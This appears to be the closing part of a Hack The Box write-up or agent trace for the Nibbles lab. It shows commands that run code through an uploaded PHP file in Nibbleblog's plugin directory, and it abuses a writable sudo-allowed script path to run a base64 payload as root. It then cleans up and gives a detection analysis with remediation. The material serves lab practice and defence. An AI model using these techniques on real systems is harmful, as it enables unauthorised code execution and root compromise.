echo "### scan hits"; cat scans/04-ffuf.hits | tr "\n" " "; echo; python3 -I artifacts/08-run.py artifacts/11-clean.sh; printf "runner after cleanup: "; curl -s -m 15 -o /dev/null -w "%{http_code}\n" --data "s=aWQK" http://10.129.102.64/nibbleblog/content/private/plugins/my_image/image.php; curl -s -m 15 http://10.129.102.64/nibbleblog/content/private/plugins/my_image/ | grep -o "href=\"[^\"?/][^\"]*\"" | tr "\n" " "
cd /home/nibbler
base64 -d > personal/stuff/monitor.sh <<'B64'
IyEvYmluL2Jhc2gKZXhlYyAyPiYxCm0oKSB7IHNlZCAtZSAncy8xMFwuMTBcLjFbMC05XVwuWzAtOV0qLzEwLjEwLjE0LlgvZycgfCBjdXQgLWMxLTIxMDsgfQpMPS92YXIvbG9nL2FwYWNoZTIvYWNjZXNzLmxvZwplY2hvICIjIyMgYWNjZXNzLmxvZzogdGhpcyBzZXNzaW9uIHdpdGhvdXQgdGhlIHdvcmRsaXN0IHNjYW4sIGJ5IHJlcXVlc3QiOyBncmVwICcyNi9Ob3YvMjAyNicgJEwgfCBncmVwIC12IC1lICdGdXp6IEZhc3RlcicgLWUgbm1hcCAtaSB8IGF3ayAtRiciJyAne3ByaW50ICQyLCAiLT4iLCBzdWJzdHIoJDMsMiwzKX0nIHwgc29ydCB8IHVuaXEgLWMgfCBzb3J0IC1ybiB8IGhlYWQgLTI1IHwgbQplY2hvICIjIyMgd29yZGxpc3Qgc2NhbiBsaW5lcyBzbyBmYXI6ICQoZ3JlcCAtYyAnRnV6eiBGYXN0ZXInICRMKSIKZWNobyAiIyMjIHRoZSBsb2dpbiBhbmQgdXBsb2FkIGxpbmVzIjsgZ3JlcCAnMjYvTm92LzIwMjYnICRMIHwgZ3JlcCAtZSAnUE9TVCAvbmliYmxlYmxvZy9hZG1pbi5waHAnIC1lICdpbWFnZS5waHAnIHwgbSB8IGhlYWQgLTgKZWNobyAiIyMjIGVycm9yLmxvZzogdG9kYXksIGZpcnN0IDYiOyBncmVwICdOb3YgMjYnIC92YXIvbG9nL2FwYWNoZTIvZXJyb3IubG9nIHwgbSB8IGhlYWQgLTYKZWNobyAiIyMjIHVzZXJzLnhtbCBub3ciOyBjYXQgL3Zhci93d3cvaHRtbC9uaWJibGVibG9nL2NvbnRlbnQvcHJpdmF0ZS91c2Vycy54bWwgfCBtOyBlY2hvCnN0YXQgLWMgJyVBICVVOiVHICVuJyAvaG9tZS9uaWJibGVyIC9ob21lL25pYmJsZXIvcGVyc29uYWwuemlwIC92YXIvd3d3L2h0bWwvbmliYmxlYmxvZy9jb250ZW50L3ByaXZhdGUgL3Zhci93d3cvaHRtbC9uaWJibGVibG9nL2NvbnRlbnQvcHJpdmF0ZS9wbHVnaW5zL215X2ltYWdlCg==
B64
sudo -n /home/nibbler/personal/stuff/monitor.sh
rm -f /home/nibbler/personal/stuff/monitor.sh && rmdir /home/nibbler/personal/stuff /home/nibbler/personal && echo "removed personal/"
ls -la /home/nibbler /dev/shm | cut -c1-70
rm -f /var/www/html/nibbleblog/content/private/plugins/my_image/image.php && echo "removed image.php"
### scan hits
LICENSE.txt README admin admin.php admin.php content feed.php index.php index.php install.php languages plugins
artifacts/11-clean.sh: 1611 -> 200
### access.log: this session without the wordlist scan, by request
20 OPTIONS * HTTP/1.0 -> 200
3 GET / HTTP/1.0 -> 200
2 POST /nibbleblog/content/private/plugins/my_image/image.php HTTP/1.1 -> 200
2 GET /nibbleblog/content/private/plugins/my_image/ HTTP/1.1 -> 200
2 GET /nibbleblog/admin.php HTTP/1.1 -> 200
2 GET /nibbleblog/ HTTP/1.1 -> 200
2 GET / HTTP/1.1 -> 200
1 POST /nibbleblog/admin.php?controller=plugins&action=config&plugin=my_image HTTP/1.1 -> 200
1 POST /nibbleblog/admin.php HTTP/1.1 -> 302
1 POST /nibbleblog/admin.php HTTP/1.1 -> 200
1 GET /robots.txt HTTP/1.1 -> 404
1 GET /nibbleblog/themes/ HTTP/1.1 -> 200
1 GET /nibbleblog/feed.php HTTP/1.1 -> 200
1 GET /nibbleblog/content/private/users.xml HTTP/1.1 -> 200
1 GET /nibbleblog/content/private/plugins/my_image/db.xml HTTP/1.1 -> 200
1 GET /nibbleblog/content/private/config.xml HTTP/1.1 -> 200
1 GET /nibbleblog/content/private/ HTTP/1.1 -> 200
1 GET /nibbleblog/admin/ HTTP/1.1 -> 200
1 GET /nibbleblog/admin.php?controller=plugins&action=config&plugin=my_image HTTP/1.1 -> 200
1 GET /nibbleblog/README HTTP/1.1 -> 200
### wordlist scan lines so far: 13699
### the login and upload lines
10.10.14.X - - [26/Nov/2026:06:03:49 -0500] "GET /nibbleblog/antibot_image.php HTTP/1.1" 404 466 "-" "Fuzz Faster U Fool v2.3.0"
10.10.14.X - - [26/Nov/2026:06:03:59 -0500] "GET /nibbleblog/cgi-image.php HTTP/1.1" 404 462 "-" "Fuzz Faster U Fool v2.3.0"
10.10.14.X - - [26/Nov/2026:06:04:06 -0500] "GET /nibbleblog/cycle_image.php HTTP/1.1" 404 464 "-" "Fuzz Faster U Fool v2.3.0"
10.10.14.X - - [26/Nov/2026:06:04:08 -0500] "GET /nibbleblog/default_image.php HTTP/1.1" 404 466 "-" "Fuzz Faster U Fool v2.3.0"
10.10.14.X - - [26/Nov/2026:06:04:09 -0500] "POST /nibbleblog/admin.php HTTP/1.1" 200 1053 "-" "python-requests/2.32.5"
10.10.14.X - - [26/Nov/2026:06:04:09 -0500] "POST /nibbleblog/admin.php HTTP/1.1" 302 408 "-" "python-requests/2.32.5"
10.10.14.X - - [26/Nov/2026:06:04:10 -0500] "POST /nibbleblog/admin.php?controller=plugins&action=config&plugin=my_image HTTP/1.1" 200 1730 "-" "python-requests/2.32.5"
10.10.14.X - - [26/Nov/2026:06:04:20 -0500] "POST /nibbleblog/content/private/plugins/my_image/image.php HTTP/1.1" 200 1143 "-" "python-requests/2.32.5"
### error.log: today, first 6
[Thu Nov 26 06:01:33.201836 2026] [mpm_prefork:notice] [pid 1371] AH00163: Apache/2.4.18 (Ubuntu) configured -- resuming normal operations
[Thu Nov 26 06:01:33.205970 2026] [core:notice] [pid 1371] AH00094: Command line: '/usr/sbin/apache2'
[Thu Nov 26 06:02:24.073043 2026] [core:error] [pid 1378] [client 10.10.14.X:40064] AH00135: Invalid method in request LIQQ / HTTP/1.1
[Thu Nov 26 06:03:29.699088 2026] [:error] [pid 1375] [client 10.10.14.X:41248] script '/var/www/html/nibbleblog/.cvsignore.php' not found or unable to stat
[Thu Nov 26 06:03:29.699273 2026] [:error] [pid 1476] [client 10.10.14.X:41250] script '/var/www/html/nibbleblog/.env.php' not found or unable to stat
[Thu Nov 26 06:03:29.699431 2026] [:error] [pid 1374] [client 10.10.14.X:41208] script '/var/www/html/nibbleblog/.cache.php' not found or unable to stat
cut: write error: Broken pipe
### users.xml now
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<users><user username="admin"><id type="integer">0</id><session_fail_count type="integer">0</session_fail_count><session_date type="integer">1795691049</session_date></user><blacklist type="string" ip="10.10.14
drwxr-xr-x nibbler:nibbler /home/nibbler
-r-------- nibbler:nibbler /home/nibbler/personal.zip
drwxr-xr-x nibbler:nibbler /var/www/html/nibbleblog/content/private
drwxr-xr-x nibbler:nibbler /var/www/html/nibbleblog/content/private/plugins/my_image
removed personal/
/dev/shm:
total 4
drwxrwxrwt 2 root root 60 Nov 26 06:04 .
drwxr-xr-x 19 root root 3840 Nov 26 06:01 ..
-rw------- 1 nibbler nibbler 1611 Nov 26 06:04 rILJA2u
/home/nibbler:
total 20
drwxr-xr-x 3 nibbler nibbler 4096 Nov 26 06:04 .
drwxr-xr-x 3 root root 4096 Dec 10 2017 ..
-rw------- 1 nibbler nibbler 0 Dec 29 2017 .bash_history
drwxrwxr-x 2 nibbler nibbler 4096 Dec 10 2017 .nano
-r-------- 1 nibbler nibbler 1855 Dec 10 2017 personal.zip
-r-------- 1 nibbler nibbler 33 Nov 26 06:02 user.txt
removed image.php
runner after cleanup: 404
href="db.xml" [lr exit 0]
The runner URL answers 404 and the plugin directory is back to db.xml. The file in /dev/shm in that listing is the cleanup script itself, which the runner unlinks when it returns. Whether the control login left a blacklist entry for my address in users.xml was not established. The file had one entry from 2017 for another lab address, my mask rewrites that address too, and the cut at 210 characters ends inside it, so the line shown is what the old entry alone would print. session_date did change, to the time of my login.
What the rule was written for, from the copy saved out of the zip, read after the machine was stopped:
wc -c loot/monitor-original.sh; sed -n 1,24p loot/monitor-original.sh | cut -c1-120; grep -c "" loot/monitor-original.sh
4015 loot/monitor-original.sh
####################################################################################################
# Tecmint_monitor.sh #
# Written for Tecmint.com for the post www.tecmint.com/linux-server-health-monitoring-script/ #
# If any bug, report us in the link below #
# Free to use/edit/distribute the code below by #
# giving proper credit to Tecmint.com and Author #
# #
####################################################################################################
#! /bin/bash
# unset any variable which system may be using
# clear the screen
clear
unset tecreset os architecture kernelrelease internalip externalip nameserver loadaverage
while getopts iv name
do
case $name in
i)iopt=1;;
v)vopt=1;;
*)echo "Invalid arg";;
esac
done
117
[lr exit 0]
A public server health script of 117 lines. Someone wanted to run it as root without typing a password, and unpacked it into their own home.
Both flags were submitted and the platform’s record saved:
cd ../.. && bin/htb info nibbles | python3 -I -c 'import json,sys; d=json.load(sys.stdin); print({k: d[k] for k in ("name","release","publishable","user_owned","root_owned")})'
{'name': 'Nibbles', 'release': '2018-01-13', 'publishable': True, 'user_owned': True, 'root_owned': True}
[lr exit 0]
Defensive Analysis
All of this comes from the trace output above, read as root before cleanup.
Enumeration. The wordlist scan alone left 13,699 lines in the access log by that point, each with the tool’s name as user agent, and script not found lines in the error log for its .php guesses (three are shown). The requests that mattered are quieter and more telling: single GETs for content/private/users.xml and config.xml. No visitor’s browser asks for those; a rule on any request under content/private/ that is not the plugin image would have matched before the login.
Login. Two POSTs to admin.php in the same second, a 200 and then a 302, from a client calling itself python-requests. config.xml has two keys at 0, notification_session_fail and notification_session_start. Going by their names only (I read no documentation and tested neither), the second is the one that would have reported this login; the first would have fired on my control and on nothing an attacker with the right first guess does.
Upload and execution. One POST to the plugin’s config URL, then POSTs to content/private/plugins/my_image/image.php. A PHP file answering POST requests from a data directory is the clearest signal in the whole session. A file-integrity watch on the plugin directory would catch the same event from the other side; none was checked for.
Escalation. auth.log has both lines: sudo with COMMAND=list from a working directory inside the web root, then COMMAND=/home/nibbler/personal/stuff/monitor.sh nineteen seconds later. The first is the better alert. A web server’s account asking sudo what it may do, with a plugin directory as its working directory, has no benign reading.
Remediation
None of these was applied on the machine. Each names the check that would show it holds.
- Remove the sudo rule, or point it at a root-owned script in a root-owned directory such as
/usr/local/sbin. Check:sudo -n -lasnibblerlists nothing writable bynibbler;namei -lon the script path shows root at every component. - Run Apache as
www-data. With the rule as it stands that alone would have put a boundary between the blog and the account that holds it. Check: the run user inenvvars, andidfrom any PHP page. - Replace Nibbleblog 4.0.3 with a release that fixes CVE-2015-6967, or remove the My image plugin. I did not verify which release fixes it. As depth, stop PHP from running under
content/. Check: repeat the upload script above and requestimage.php; it must not execute. - Deny HTTP access to
content/private/except the plugin image, and turn off directory listing. Check:users.xmlreturns 403. - Change the admin password to one unrelated to the site and set
notification_session_startto 1 (what it sends is inferred from the key’s name). Check: the guess gets the 200 the control got. - Remove the comment from the front page. It is the least of these; the scan found
admin.phpwithout it, though not the directory name.
Key Takeaways
- A sudo rule on a path is a statement about every directory above the file. If the user owns one of them, the rule says ALL.
- The run user of a web server is a privilege boundary. Here it was set to a login account and the boundary was gone before the first request.
- A lockout protects against lists, not against the first guess. The site’s own name should never be the first guess that works.
- A data directory that is served will be read. The account name, the lockout state and the plugin inventory all came from plain GET requests before any attack.
- An upload handler that fails to process a file and keeps it anyway has no validation, whatever the warnings say.